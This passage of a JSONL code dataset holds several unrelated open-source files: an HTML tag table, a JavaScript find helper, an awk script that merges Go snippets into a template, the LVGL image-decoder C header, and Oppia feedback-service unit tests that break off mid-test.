''],\n\\ 'basefont': ['/>', ''],\n\\ 'br': ['/>', ''],\n\\ 'hr': ['/>', ''],\n\\ 'img': ['/>', ''],\n\\ 'input': ['/>', ''],\n\\ 'isindex': ['/>', ''],\n\\ 'link': ['/>', ''],\n\\ 'meta': ['/>', ''],\n\\ 'param': ['/>', ''],\n\\ }\n\\ }\n"} +{"text": "export function find(predicate, list){\n if (arguments.length === 1) return _list => find(predicate, _list)\n\n let index = 0\n const len = list.length\n\n while (index < len){\n const x = list[ index ]\n if (predicate(x)){\n return x\n }\n\n index++\n }\n}\n"} +{"text": "# Copyright 2017 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# snipdoc merges code snippets from Go source files into a template to\n# produce another go file (typically doc.go).\n#\n# Call with one or more .go files and a template file.\n#\n# awk -f snipmd.awk foo.go bar.go doc.template\n#\n# In the Go files, start a snippet with\n# //[ NAME\n# and end it with\n# //]\n#\n# In the template, write\n# [NAME]\n# on a line by itself to insert the snippet NAME on that line.\n#\n# The following transformations are made to the Go code:\n# - Trailing blank lines are removed.\n# - `ELLIPSIS` and `_ = ELLIPSIS` are replaced by `...`\n\n\n/^[ \\t]*\\/\\/\\[/ { # start snippet in Go file\n if (inGo()) {\n if ($2 == \"\") {\n die(\"missing snippet name\")\n }\n curSnip = $2\n next\n }\n}\n\n/^[ \\t]*\\/\\/]/ { # end snippet in Go file\n if (inGo()) {\n if (curSnip != \"\") {\n # Remove all trailing newlines.\n gsub(/[\\t\\n]+$/, \"\", snips[curSnip])\n curSnip = \"\"\n next\n } else {\n die(\"//] without corresponding //[\")\n }\n }\n}\n\nENDFILE {\n if (curSnip != \"\") {\n die(\"unclosed snippet: \" curSnip)\n }\n}\n\n/^\\[.*\\]$/ { # Snippet marker in template file.\n if (inTemplate()) {\n name = substr($1, 2, length($1)-2)\n if (snips[name] == \"\") {\n die(\"no snippet named \" name)\n }\n printf(\"%s\\n\", snips[name])\n afterSnip = 1\n next\n }\n}\n\n# Matches every line.\n{\n if (curSnip != \"\") {\n # If the first line in the snip has no indent, add the indent.\n if (snips[curSnip] == \"\") {\n if (index($0, \"\\t\") == 1) {\n extraIndent = \"\"\n } else {\n extraIndent = \"\\t\"\n }\n }\n\n line = $0\n # Replace ELLIPSIS.\n gsub(/_ = ELLIPSIS/, \"...\", line)\n gsub(/ELLIPSIS/, \"...\", line)\n\n snips[curSnip] = snips[curSnip] extraIndent line \"\\n\"\n } else if (inTemplate()) {\n afterSnip = 0\n # Copy to output.\n print\n }\n}\n\n\n\nfunction inTemplate() {\n return match(FILENAME, /\\.template$/)\n}\n\nfunction inGo() {\n return match(FILENAME, /\\.go$/)\n}\n\n\nfunction die(msg) {\n printf(\"%s:%d: %s\\n\", FILENAME, FNR, msg) > \"/dev/stderr\"\n exit 1\n}\n"} +{"text": "/**\n * @file lv_img_decoder.h\n *\n */\n\n#ifndef LV_IMG_DEOCER_H\n#define LV_IMG_DEOCER_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n/*********************\n * INCLUDES\n *********************/\n#ifdef LV_CONF_INCLUDE_SIMPLE\n#include \"lv_conf.h\"\n#else\n#include \"../lv_conf.h\"\n#endif\n\n#include \n#include \"../lv_misc/lv_fs.h\"\n#include \"../lv_misc/lv_types.h\"\n#include \"../lv_misc/lv_area.h\"\n#include \"../lv_core/lv_style.h\"\n\n/*********************\n * DEFINES\n *********************/\n/*If image pixels contains alpha we need to know how much byte is a pixel*/\n#if LV_COLOR_DEPTH == 1 || LV_COLOR_DEPTH == 8\n#define LV_IMG_PX_SIZE_ALPHA_BYTE 2\n#elif LV_COLOR_DEPTH == 16\n#define LV_IMG_PX_SIZE_ALPHA_BYTE 3\n#elif LV_COLOR_DEPTH == 32\n#define LV_IMG_PX_SIZE_ALPHA_BYTE 4\n#endif\n\n/**********************\n * TYPEDEFS\n **********************/\n\n/**\n * Source of image. */\nenum {\n LV_IMG_SRC_VARIABLE, /** Binary/C variable */\n LV_IMG_SRC_FILE, /** File in filesystem */\n LV_IMG_SRC_SYMBOL, /** Symbol (@ref lv_symbol_def.h) */\n LV_IMG_SRC_UNKNOWN, /** Unknown source */\n};\n\ntypedef uint8_t lv_img_src_t;\n/**\n * LittlevGL image header\n */\ntypedef struct\n{\n\n /* The first 8 bit is very important to distinguish the different source types.\n * For more info see `lv_img_get_src_type()` in lv_img.c */\n uint32_t cf : 5; /* Color format: See `lv_img_color_format_t`*/\n uint32_t always_zero : 3; /*It the upper bits of the first byte. Always zero to look like a\n non-printable character*/\n\n uint32_t reserved : 2; /*Reserved to be used later*/\n\n uint32_t w : 11; /*Width of the image map*/\n uint32_t h : 11; /*Height of the image map*/\n} lv_img_header_t;\n\n/*Image color format*/\nenum {\n LV_IMG_CF_UNKNOWN = 0,\n\n LV_IMG_CF_RAW, /**< Contains the file as it is. Needs custom decoder function*/\n LV_IMG_CF_RAW_ALPHA, /**< Contains the file as it is. The image has alpha. Needs custom decoder\n function*/\n LV_IMG_CF_RAW_CHROMA_KEYED, /**< Contains the file as it is. The image is chroma keyed. Needs\n custom decoder function*/\n\n LV_IMG_CF_TRUE_COLOR, /**< Color format and depth should match with LV_COLOR settings*/\n LV_IMG_CF_TRUE_COLOR_ALPHA, /**< Same as `LV_IMG_CF_TRUE_COLOR` but every pixel has an alpha byte*/\n LV_IMG_CF_TRUE_COLOR_CHROMA_KEYED, /**< Same as `LV_IMG_CF_TRUE_COLOR` but LV_COLOR_TRANSP pixels\n will be transparent*/\n\n LV_IMG_CF_INDEXED_1BIT, /**< Can have 2 different colors in a palette (always chroma keyed)*/\n LV_IMG_CF_INDEXED_2BIT, /**< Can have 4 different colors in a palette (always chroma keyed)*/\n LV_IMG_CF_INDEXED_4BIT, /**< Can have 16 different colors in a palette (always chroma keyed)*/\n LV_IMG_CF_INDEXED_8BIT, /**< Can have 256 different colors in a palette (always chroma keyed)*/\n\n LV_IMG_CF_ALPHA_1BIT, /**< Can have one color and it can be drawn or not*/\n LV_IMG_CF_ALPHA_2BIT, /**< Can have one color but 4 different alpha value*/\n LV_IMG_CF_ALPHA_4BIT, /**< Can have one color but 16 different alpha value*/\n LV_IMG_CF_ALPHA_8BIT, /**< Can have one color but 256 different alpha value*/\n\n LV_IMG_CF_RESERVED_15, /**< Reserved for further use. */\n LV_IMG_CF_RESERVED_16, /**< Reserved for further use. */\n LV_IMG_CF_RESERVED_17, /**< Reserved for further use. */\n LV_IMG_CF_RESERVED_18, /**< Reserved for further use. */\n LV_IMG_CF_RESERVED_19, /**< Reserved for further use. */\n LV_IMG_CF_RESERVED_20, /**< Reserved for further use. */\n LV_IMG_CF_RESERVED_21, /**< Reserved for further use. */\n LV_IMG_CF_RESERVED_22, /**< Reserved for further use. */\n LV_IMG_CF_RESERVED_23, /**< Reserved for further use. */\n\n LV_IMG_CF_USER_ENCODED_0, /**< User holder encoding format. */\n LV_IMG_CF_USER_ENCODED_1, /**< User holder encoding format. */\n LV_IMG_CF_USER_ENCODED_2, /**< User holder encoding format. */\n LV_IMG_CF_USER_ENCODED_3, /**< User holder encoding format. */\n LV_IMG_CF_USER_ENCODED_4, /**< User holder encoding format. */\n LV_IMG_CF_USER_ENCODED_5, /**< User holder encoding format. */\n LV_IMG_CF_USER_ENCODED_6, /**< User holder encoding format. */\n LV_IMG_CF_USER_ENCODED_7, /**< User holder encoding format. */\n};\ntypedef uint8_t lv_img_cf_t;\n\n/** Image header it is compatible with\n * the result from image converter utility*/\ntypedef struct\n{\n lv_img_header_t header;\n uint32_t data_size;\n const uint8_t * data;\n} lv_img_dsc_t;\n\n/* Decoder function definitions */\n\nstruct _lv_img_decoder;\nstruct _lv_img_decoder_dsc;\n\n/**\n * Get info from an image and store in the `header`\n * @param src the image source. Can be a pointer to a C array or a file name (Use\n * `lv_img_src_get_type` to determine the type)\n * @param header store the info here\n * @return LV_RES_OK: info written correctly; LV_RES_INV: failed\n */\ntypedef lv_res_t (*lv_img_decoder_info_f_t)(struct _lv_img_decoder * decoder, const void * src,\n lv_img_header_t * header);\n\n/**\n * Open an image for decoding. Prepare it as it is required to read it later\n * @param decoder pointer to the decoder the function associated with\n * @param dsc pointer to decoder descriptor. `src`, `style` are already initialized in it.\n */\ntypedef lv_res_t (*lv_img_decoder_open_f_t)(struct _lv_img_decoder * decoder, struct _lv_img_decoder_dsc * dsc);\n\n/**\n * Decode `len` pixels starting from the given `x`, `y` coordinates and store them in `buf`.\n * Required only if the \"open\" function can't return with the whole decoded pixel array.\n * @param decoder pointer to the decoder the function associated with\n * @param dsc pointer to decoder descriptor\n * @param x start x coordinate\n * @param y start y coordinate\n * @param len number of pixels to decode\n * @param buf a buffer to store the decoded pixels\n * @return LV_RES_OK: ok; LV_RES_INV: failed\n */\ntypedef lv_res_t (*lv_img_decoder_read_line_f_t)(struct _lv_img_decoder * decoder, struct _lv_img_decoder_dsc * dsc,\n lv_coord_t x, lv_coord_t y, lv_coord_t len, uint8_t * buf);\n\n/**\n * Close the pending decoding. Free resources etc.\n * @param decoder pointer to the decoder the function associated with\n * @param dsc pointer to decoder descriptor\n */\ntypedef void (*lv_img_decoder_close_f_t)(struct _lv_img_decoder * decoder, struct _lv_img_decoder_dsc * dsc);\n\ntypedef struct _lv_img_decoder\n{\n lv_img_decoder_info_f_t info_cb;\n lv_img_decoder_open_f_t open_cb;\n lv_img_decoder_read_line_f_t read_line_cb;\n lv_img_decoder_close_f_t close_cb;\n\n#if LV_USE_USER_DATA\n lv_img_decoder_user_data_t user_data;\n#endif\n} lv_img_decoder_t;\n\n/**Describe an image decoding session. Stores data about the decoding*/\ntypedef struct _lv_img_decoder_dsc\n{\n /**The decoder which was able to open the image source*/\n lv_img_decoder_t * decoder;\n\n /**The image source. A file path like \"S:my_img.png\" or pointer to an `lv_img_dsc_t` variable*/\n const void * src;\n\n /**Style to draw the image.*/\n const lv_style_t * style;\n\n /**Type of the source: file or variable. Can be set in `open` function if required*/\n lv_img_src_t src_type;\n\n /**Info about the opened image: color format, size, etc. MUST be set in `open` function*/\n lv_img_header_t header;\n\n /** Pointer to a buffer where the image's data (pixels) are stored in a decoded, plain format.\n * MUST be set in `open` function*/\n const uint8_t * img_data;\n\n /** How much time did it take to open the image. [ms]\n * If not set `lv_img_cache` will measure and set the time to open*/\n uint32_t time_to_open;\n\n /**A text to display instead of the image when the image can't be opened.\n * Can be set in `open` function or set NULL. */\n const char * error_msg;\n\n /**Store any custom data here is required*/\n void * user_data;\n} lv_img_decoder_dsc_t;\n\n/**********************\n * GLOBAL PROTOTYPES\n **********************/\n\n/**\n * Initialize the image decoder module\n */\nvoid lv_img_decoder_init(void);\n\n/**\n * Get information about an image.\n * Try the created image decoder one by one. Once one is able to get info that info will be used.\n * @param src the image source. Can be\n * 1) File name: E.g. \"S:folder/img1.png\" (The drivers needs to registered via `lv_fs_add_drv()`)\n * 2) Variable: Pointer to an `lv_img_dsc_t` variable\n * 3) Symbol: E.g. `LV_SYMBOL_OK`\n * @param header the image info will be stored here\n * @return LV_RES_OK: success; LV_RES_INV: wasn't able to get info about the image\n */\nlv_res_t lv_img_decoder_get_info(const char * src, lv_img_header_t * header);\n\n/**\n * Open an image.\n * Try the created image decoder one by one. Once one is able to open the image that decoder is save in `dsc`\n * @param dsc describe a decoding session. Simply a pointer to an `lv_img_decoder_dsc_t` variable.\n * @param src the image source. Can be\n * 1) File name: E.g. \"S:folder/img1.png\" (The drivers needs to registered via `lv_fs_add_drv()`)\n * 2) Variable: Pointer to an `lv_img_dsc_t` variable\n * 3) Symbol: E.g. `LV_SYMBOL_OK`\n * @param style the style of the image\n * @return LV_RES_OK: opened the image. `dsc->img_data` and `dsc->header` are set.\n * LV_RES_INV: none of the registered image decoders were able to open the image.\n */\nlv_res_t lv_img_decoder_open(lv_img_decoder_dsc_t * dsc, const void * src, const lv_style_t * style);\n\n/**\n * Read a line from an opened image\n * @param dsc pointer to `lv_img_decoder_dsc_t` used in `lv_img_decoder_open`\n * @param x start X coordinate (from left)\n * @param y start Y coordinate (from top)\n * @param len number of pixels to read\n * @param buf store the data here\n * @return LV_RES_OK: success; LV_RES_INV: an error occurred\n */\nlv_res_t lv_img_decoder_read_line(lv_img_decoder_dsc_t * dsc, lv_coord_t x, lv_coord_t y, lv_coord_t len,\n uint8_t * buf);\n\n/**\n * Close a decoding session\n * @param dsc pointer to `lv_img_decoder_dsc_t` used in `lv_img_decoder_open`\n */\nvoid lv_img_decoder_close(lv_img_decoder_dsc_t * dsc);\n\n/**\n * Create a new image decoder\n * @return pointer to the new image decoder\n */\nlv_img_decoder_t * lv_img_decoder_create(void);\n\n/**\n * Delete an image decoder\n * @param decoder pointer to an image decoder\n */\nvoid lv_img_decoder_delete(lv_img_decoder_t * decoder);\n\n/**\n * Set a callback to get information about the image\n * @param decoder pointer to an image decoder\n * @param info_cb a function to collect info about an image (fill an `lv_img_header_t` struct)\n */\nvoid lv_img_decoder_set_info_cb(lv_img_decoder_t * decoder, lv_img_decoder_info_f_t info_cb);\n\n/**\n * Set a callback to open an image\n * @param decoder pointer to an image decoder\n * @param open_cb a function to open an image\n */\nvoid lv_img_decoder_set_open_cb(lv_img_decoder_t * decoder, lv_img_decoder_open_f_t open_cb);\n\n/**\n * Set a callback to a decoded line of an image\n * @param decoder pointer to an image decoder\n * @param read_line_cb a function to read a line of an image\n */\nvoid lv_img_decoder_set_read_line_cb(lv_img_decoder_t * decoder, lv_img_decoder_read_line_f_t read_line_cb);\n\n/**\n * Set a callback to close a decoding session. E.g. close files and free other resources.\n * @param decoder pointer to an image decoder\n * @param close_cb a function to close a decoding session\n */\nvoid lv_img_decoder_set_close_cb(lv_img_decoder_t * decoder, lv_img_decoder_close_f_t close_cb);\n\n\n\n/**\n * Get info about a built-in image\n * @param decoder the decoder where this function belongs\n * @param src the image source: pointer to an `lv_img_dsc_t` variable, a file path or a symbol\n * @param header store the image data here\n * @return LV_RES_OK: the info is successfully stored in `header`; LV_RES_INV: unknown format or other error.\n */\nlv_res_t lv_img_decoder_built_in_info(lv_img_decoder_t * decoder, const void * src, lv_img_header_t * header);\n\n/**\n * Open a built in image\n * @param decoder the decoder where this function belongs\n * @param dsc pointer to decoder descriptor. `src`, `style` are already initialized in it.\n * @return LV_RES_OK: the info is successfully stored in `header`; LV_RES_INV: unknown format or other error.\n */\nlv_res_t lv_img_decoder_built_in_open(lv_img_decoder_t * decoder, lv_img_decoder_dsc_t * dsc);\n\n/**\n * Decode `len` pixels starting from the given `x`, `y` coordinates and store them in `buf`.\n * Required only if the \"open\" function can't return with the whole decoded pixel array.\n * @param decoder pointer to the decoder the function associated with\n * @param dsc pointer to decoder descriptor\n * @param x start x coordinate\n * @param y start y coordinate\n * @param len number of pixels to decode\n * @param buf a buffer to store the decoded pixels\n * @return LV_RES_OK: ok; LV_RES_INV: failed\n */\nlv_res_t lv_img_decoder_built_in_read_line(lv_img_decoder_t * decoder, lv_img_decoder_dsc_t * dsc, lv_coord_t x,\n lv_coord_t y, lv_coord_t len, uint8_t * buf);\n\n/**\n * Close the pending decoding. Free resources etc.\n * @param decoder pointer to the decoder the function associated with\n * @param dsc pointer to decoder descriptor\n */\nvoid lv_img_decoder_built_in_close(lv_img_decoder_t * decoder, lv_img_decoder_dsc_t * dsc);\n\n/**********************\n * MACROS\n **********************/\n\n#ifdef __cplusplus\n} /* extern \"C\" */\n#endif\n\n#endif /*LV_TEMPL_H*/\n"} +{"text": "parseTree\nNoNewSymbolsEntered OK\nUnique OK\nUnattributed OK\nNeverModify OK\nAlwaysParseTree OK\nparseTree\nNoNewSymbolsEntered OK\nUnique OK\nUnattributed OK\nNeverModify OK\nAlwaysParseTree OK\n"} +{"text": "# Copyright 2014 The Oppia Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS-IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Tests for feedback-related services.\"\"\"\n\nfrom __future__ import absolute_import # pylint: disable=import-only-modules\nfrom __future__ import unicode_literals # pylint: disable=import-only-modules\n\nfrom core.domain import email_services\nfrom core.domain import event_services\nfrom core.domain import exp_domain\nfrom core.domain import feedback_domain\nfrom core.domain import feedback_jobs_continuous\nfrom core.domain import feedback_services\nfrom core.domain import subscription_services\nfrom core.domain import suggestion_services\nfrom core.domain import taskqueue_services\nfrom core.domain import user_services\nfrom core.platform import models\nfrom core.tests import test_utils\nimport feconf\nimport python_utils\n\n(\n feedback_models, email_models, suggestion_models\n) = models.Registry.import_models([\n models.NAMES.feedback, models.NAMES.email, models.NAMES.suggestion\n])\n\n\nclass FeedbackServicesUnitTests(test_utils.EmailTestBase):\n \"\"\"Test functions in feedback_services.\"\"\"\n\n USER_EMAIL = 'user@example.com'\n USER_USERNAME = 'user'\n EXP_1_ID = 'exp_1_id'\n\n def setUp(self):\n super(FeedbackServicesUnitTests, self).setUp()\n self.signup(self.USER_EMAIL, self.USER_USERNAME)\n self.user_id = self.get_user_id_from_email(self.USER_EMAIL)\n\n def test_feedback_ids(self):\n \"\"\"Test various conventions for thread and message ids.\"\"\"\n exp_id = '0'\n feedback_services.create_thread(\n 'exploration', exp_id, None, 'a subject', 'some text')\n threadlist = feedback_services.get_all_threads(\n 'exploration', exp_id, False)\n self.assertEqual(len(threadlist), 1)\n thread_id = threadlist[0].id\n\n messages = feedback_services.get_messages(thread_id)\n self.assertEqual(len(messages), 1)\n message_id = messages[0].message_id\n self.assertTrue(isinstance(message_id, int))\n threadlist = feedback_services.get_all_threads(\n 'exploration', exp_id, False)\n self.assertEqual(len(threadlist), 1)\n thread_id = threadlist[0].id\n\n messages = feedback_services.get_messages(thread_id)\n self.assertEqual(len(messages), 1)\n message_id = messages[0].message_id\n self.assertTrue(isinstance(message_id, int))\n\n # Retrieve the message instance from the storage layer.\n datastore_id = feedback_models.GeneralFeedbackMessageModel.get_messages(\n thread_id)[0].id\n\n # The message id should be prefixed with the thread id and a full\n # stop, followed by the message id.\n self.assertEqual(datastore_id, '%s.%s' % (thread_id, message_id))\n\n def test_create_message_raises_exception_for_invalid_thread_id(self):\n thread_id = 'invalid_thread_id'\n\n expected_exception_regexp = (\n r'Thread belonging to the GeneralFeedbackThreadModel class '\n r'with id:\\[%s\\] was not found.' % (thread_id)\n )\n with self.assertRaisesRegexp(Exception, expected_exception_regexp):\n feedback_services.create_message(\n thread_id, self.user_id, None, None, 'Hello')\n\n def test_create_messages_raises_pluralized_exception_for_bad_thread_ids(\n self):\n thread_ids = ['invalid_thread_id_1', 'invalid_thread_id_2']\n\n expected_exception_regexp = (\n r'Threads belonging to the GeneralFeedbackThreadModel class '\n r'with ids:\\[%s\\] were not found.' % (' '.join(thread_ids))\n )\n with self.assertRaisesRegexp(Exception, expected_exception_regexp):\n feedback_services.create_messages(\n thread_ids, self.user_id, None, None, 'Hello')\n\n def test_create_messages_raises_an_exception_if_thread_ids_are_not_unique(\n self):\n repeated_thread_ids = ['thread_id', 'thread_id']\n\n with self.assertRaisesRegexp(\n Exception,\n 'Thread ids must be distinct when calling create_messsages.'):\n feedback_services.create_messages(\n repeated_thread_ids, self.user_id, None, None, 'Hello')\n\n def test_delete_threads_for_multiple_entities(self):\n self.save_new_default_exploration(self.EXP_1_ID, self.EXP_1_ID)\n suggestion_services.create_suggestion(\n suggestion_models.SUGGESTION_TYPE_EDIT_STATE_CONTENT,\n suggestion_models.TARGET_TYPE_EXPLORATION,\n self.EXP_1_ID,\n 1,\n self.user_id,\n {\n 'cmd': exp_domain.CMD_EDIT_STATE_PROPERTY,\n 'state_name': 'state',\n 'property_name': exp_domain.STATE_PROPERTY_CONTENT,\n 'new_value': 'new content'\n },\n 'some text')\n thread_id = feedback_services.get_threads(\n feconf.ENTITY_TYPE_EXPLORATION, self.EXP_1_ID\n )[0].id\n feedback_services.create_message(\n thread_id, self.user_id, None, None, 'some text')\n feedback_models.FeedbackAnalyticsModel(id=self.EXP_1_ID).put()\n\n feedback_services.delete_threads_for_multiple_entities(\n feconf.ENTITY_TYPE_EXPLORATION, [self.EXP_1_ID])\n\n self.assertIsNone(\n feedback_models.GeneralFeedbackThreadModel.get_by_id(thread_id))\n self.assertIsNone(\n feedback_models.FeedbackAnalyticsModel.get_by_id(self.EXP_1_ID))\n\n def test_status_of_newly_created_thread_is_open(self):\n exp_id = '0'\n feedback_services.create_thread(\n 'exploration', exp_id, None, 'a subject', 'some text')\n threadlist = feedback_services.get_all_threads(\n 'exploration', exp_id, False)\n thread_status = threadlist[0].status\n self.assertEqual(thread_status, feedback_models.STATUS_CHOICES_OPEN)\n\n def test_get_exp_id_from_thread_id(self):\n thread_id = 'exploration.exp1.1234'\n self.assertEqual(\n feedback_services.get_exp_id_from_thread_id(thread_id), 'exp1')\n\n\nclass FeedbackDeletionUnitTests(test_utils.GenericTestBase):\n \"\"\"Test functions in feedback_services.\"\"\"\n\n USER_EMAIL = 'user@example.com'\n USER_USERNAME = 'user'\n EXP_1_ID = 'exp_1_id'\n EXP_2_ID = 'exp_2_id'\n\n def setUp(self):\n super(FeedbackDeletionUnitTests, self).setUp()\n self.signup(self.USER_EMAIL, self.USER_USERNAME)\n self.user_id = self.get_user_id_from_email(self.USER_EMAIL)\n\n self.save_new_default_exploration(self.EXP_1_ID, self.user_id)\n suggestion_services.create_suggestion(\n suggestion_models.SUGGESTION_TYPE_EDIT_STATE_CONTENT,\n suggestion_models.TARGET_TYPE_EXPLORATION,\n self.EXP_1_ID,\n 1,\n self.user_id,\n {\n 'cmd': exp_domain.CMD_EDIT_STATE_PROPERTY,\n 'state_name': 'state',\n 'property_name': exp_domain.STATE_PROPERTY_CONTENT,\n 'new_value': 'new content'\n },\n 'some text')\n self.thread_1_id = feedback_services.get_threads(\n feconf.ENTITY_TYPE_EXPLORATION, self.EXP_1_ID\n )[0].id\n feedback_services.create_message(\n self.thread_1_id, self.user_id, None, None, 'some text')\n\n self.save_new_default_exploration(self.EXP_2_ID, self.user_id)\n self.thread_2_id = feedback_services.create_thread(\n feconf.ENTITY_TYPE_EXPLORATION,\n self.EXP_2_ID,\n self.user_id,\n 'subject',\n 'text'\n )\n\n feedback_models.FeedbackAnalyticsModel(id=self.EXP_1_ID).put()\n\n def test_delete_feedback_threads_deletes_thread(self):\n self.assertIsNotNone(\n feedback_models.GeneralFeedbackThreadModel.get_by_id(\n self.thread_1_id))\n feedback_services.delete_threads_for_multiple_entities(\n feconf.ENTITY_TYPE_EXPLORATION, [self.EXP_1_ID])\n self.assertIsNone(\n feedback_models.GeneralFeedbackThreadModel.get_by_id(\n self.thread_1_id))\n\n def test_delete_feedback_threads_deletes_suggestion(self):\n self.assertIsNotNone(\n suggestion_models.GeneralSuggestionModel.get_by_id(self.thread_1_id)\n )\n feedback_services.delete_threads_for_multiple_entities(\n feconf.ENTITY_TYPE_EXPLORATION, [self.EXP_1_ID])\n self.assertIsNone(\n suggestion_models.GeneralSuggestionModel.get_by_id(self.thread_1_id)\n )\n\n def test_delete_feedback_threads_deletes_message(self):\n self.assertIsNotNone(\n feedback_models.GeneralFeedbackMessageModel.get_by_id(\n '%s.%s' % (self.thread_1_id, 0)))\n feedback_services.delete_threads_for_multiple_entities(\n feconf.ENTITY_TYPE_EXPLORATION, [self.EXP_1_ID])\n self.assertIsNone(\n feedback_models.GeneralFeedbackMessageModel.get_by_id(\n '%s.%s' % (self.thread_1_id, 0)))\n\n def test_delete_feedback_threads_deletes_feedback_analytics(self):\n self.assertIsNotNone(\n feedback_models.FeedbackAnalyticsModel.get_by_id(self.EXP_1_ID))\n feedback_services.delete_threads_for_multiple_entities(\n feconf.ENTITY_TYPE_EXPLORATION, [self.EXP_1_ID])\n self.assertIsNone(\n feedback_models.FeedbackAnalyticsModel.get_by_id(self.EXP_1_ID))\n\n def test_delete_feedback_threads_deletes_multiple_feedbacks(self):\n self.assertIsNotNone(\n feedback_models.GeneralFeedbackThreadModel.get_by_id(\n self.thread_1_id))\n self.assertIsNotNone(\n feedback_models.GeneralFeedbackThreadModel.get_by_id(\n self.thread_2_id))\n feedback_services.delete_threads_for_multiple_entities(\n feconf.ENTITY_TYPE_EXPLORATION, [self.EXP_1_ID, self.EXP_2_ID])\n self.assertIsNone(\n feedback_models.GeneralFeedbackThreadModel.get_by_id(\n self.thread_1_id))\n self.assertIsNone(\n feedback_models.GeneralFeedbackThreadModel.get_by_id(\n self.thread_2_id))\n\n\nclass MockFeedbackAnalyticsAggregator(\n feedback_jobs_continuous.FeedbackAnalyticsAggregator):\n \"\"\"A modified FeedbackAnalyticsAggregator that does not start a new batch\n job when the previous one has finished.\n \"\"\"\n\n @classmethod\n def _get_batch_job_manager_class(cls):\n return MockFeedbackAnalyticsMRJobManager\n\n @classmethod\n def _kickoff_batch_job_after_previous_one_ends(cls):\n pass\n\n\nclass MockFeedbackAnalyticsMRJobManager(\n feedback_jobs_continuous.FeedbackAnalyticsMRJobManager):\n\n @classmethod\n def _get_continuous_computation_class(cls):\n return MockFeedbackAnalyticsAggregator\n\n\nclass FeedbackThreadUnitTests(test_utils.GenericTestBase):\n\n EXP_ID_1 = 'eid1'\n EXP_ID_2 = 'eid2'\n EXP_ID_3 = 'eid3'\n THREAD_ID = 'thread_id'\n\n EXPECTED_THREAD_DICT = {\n 'status': u'open',\n 'summary': None,\n 'original_author_username': None,\n 'subject': u'a subject'\n }\n EXPECTED_THREAD_DICT_VIEWER = {\n 'status': u'open',\n 'summary': None,\n 'original_author_username': None,\n 'subject': u'a subject second'\n }\n\n USER_EMAIL = 'user@example.com'\n USER_USERNAME = 'user'\n\n def setUp(self):\n super(FeedbackThreadUnitTests, self).setUp()\n\n self.signup(self.VIEWER_EMAIL, self.VIEWER_USERNAME)\n self.signup(self.USER_EMAIL, self.USER_USERNAME)\n self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME)\n self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL)\n self.user_id = self.get_user_id_from_email(self.USER_EMAIL)\n self.viewer_id = self.get_user_id_from_email(self.VIEWER_EMAIL)\n\n self.save_new_valid_exploration(\n self.EXP_ID_1, self.owner_id, title='Bridges in England',\n category='Architecture', language_code='en')\n self.save_new_valid_exploration(\n self.EXP_ID_2, self.owner_id, title='Sillat Suomi',\n category='Architecture', language_code='fi')\n self.save_new_valid_exploration(\n self.EXP_ID_3, self.owner_id, title='Leaning tower of Pisa',\n category='Architecture', language_code='fi')\n\n def _get_all_messages_read(self, user_id, thread_id):\n \"\"\"Returns the list of the ids of all the messages corresponding to the\n given thread id read by the user.\n \"\"\"\n feedback_thread_user_model = (\n feedback_models.GeneralFeedbackThreadUserModel.get(\n user_id, thread_id))\n\n return (\n feedback_thread_user_model.message_ids_read_by_user if\n feedback_thread_user_model else [])\n\n def _run_computation(self):\n \"\"\"Runs the MockFeedbackAnalyticsAggregator computation.\"\"\"\n MockFeedbackAnalyticsAggregator.start_computation()\n self.assertEqual(\n self.count_jobs_in_mapreduce_taskqueue(\n taskqueue_services.QUEUE_NAME_CONTINUOUS_JOBS), 1)\n self.process_and_flush_pending_mapreduce_tasks()\n self.assertEqual(\n self.count_jobs_in_mapreduce_taskqueue(\n taskqueue_services.QUEUE_NAME_CONTINUOUS_JOBS), 0)\n self.process_and_flush_pending_mapreduce_tasks()\n\n def test_get_threads_single_exploration(self):\n threads = feedback_services.get_threads('exploration', self.EXP_ID_1)\n self.assertEqual(len(threads), 0)\n feedback_services.create_thread(\n 'exploration', self.EXP_ID_1, None,\n self.EXPECTED_THREAD_DICT['subject'], 'not used here')\n threads = feedback_services.get_threads('exploration', self.EXP_ID_1)\n self.assertEqual(1, len(threads))\n self.assertDictContainsSubset(\n self.EXPECTED_THREAD_DICT, threads[0].to_dict())\n\n def test_get_all_threads(self):\n # Create an anonymous feedback thread.\n feedback_services.create_thread(\n 'exploration', self.EXP_ID_1, None,\n self.EXPECTED_THREAD_DICT['subject'], 'not used here')\n\n threads = feedback_services.get_all_threads(\n 'exploration', self.EXP_ID_1, False)\n self.assertEqual(1, len(threads))\n self.assertDictContainsSubset(\n self.EXPECTED_THREAD_DICT, threads[0].to_dict())\n\n self.EXPECTED_THREAD_DICT_VIEWER['original_author_username'] = (\n self.VIEWER_USERNAME)\n\n # Viewer creates feedback thread.\n feedback_services.create_thread(\n 'exploration', self.EXP_ID_1, self.viewer_id,\n self.EXPECTED_THREAD_DICT_VIEWER['subject'], 'not used here')\n\n threads = feedback_services.get_all_threads(\n 'exploration', self.EXP_ID_1, False)\n self.assertEqual(2, len(threads))\n self.assertDictContainsSubset(\n self.EXPECTED_THREAD_DICT_VIEWER, threads[0].to_dict())\n\n def test_get_total_open_threads_before_job_run(self):\n self.assertEqual(feedback_services.get_total_open_threads(\n feedback_services.get_thread_analytics_multi([self.EXP_ID_1])), 0)\n\n feedback_services.create_thread(\n 'exploration', self.EXP_ID_1, None,\n self.EXPECTED_THREAD_DICT['subject'], 'not used here')\n\n threads = feedback_services.get_all_threads(\n 'exploration', self.EXP_ID_1, False)\n self.assertEqual(1, len(threads))\n\n 